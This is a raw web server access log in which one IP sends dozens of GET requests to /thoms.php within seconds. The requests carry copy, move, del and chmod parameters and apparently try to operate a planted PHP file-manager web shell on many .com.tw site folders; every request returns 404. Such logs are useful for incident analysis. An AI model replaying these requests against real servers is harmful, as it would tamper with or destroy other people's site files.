45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=besth2o.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Ftext-kernel HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Ftext-kernel" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:25 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Forphan-transpiler HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=big-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=big-wife.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=upgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:26 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:27 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /betcity.com-20260912023741/ HTTP/1.1" 404 15320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?p=betcity.com-20260912023741 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=betcity.com-20260912023741" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?del=betcity.com-20260912023741&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=betcity.com-20260912023741&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?chmod=betcity.com-20260912023741&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=betcity.com-20260912023741&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com-20260912023741&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com-20260912023741&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:28 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:29 -0400] "GET /thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
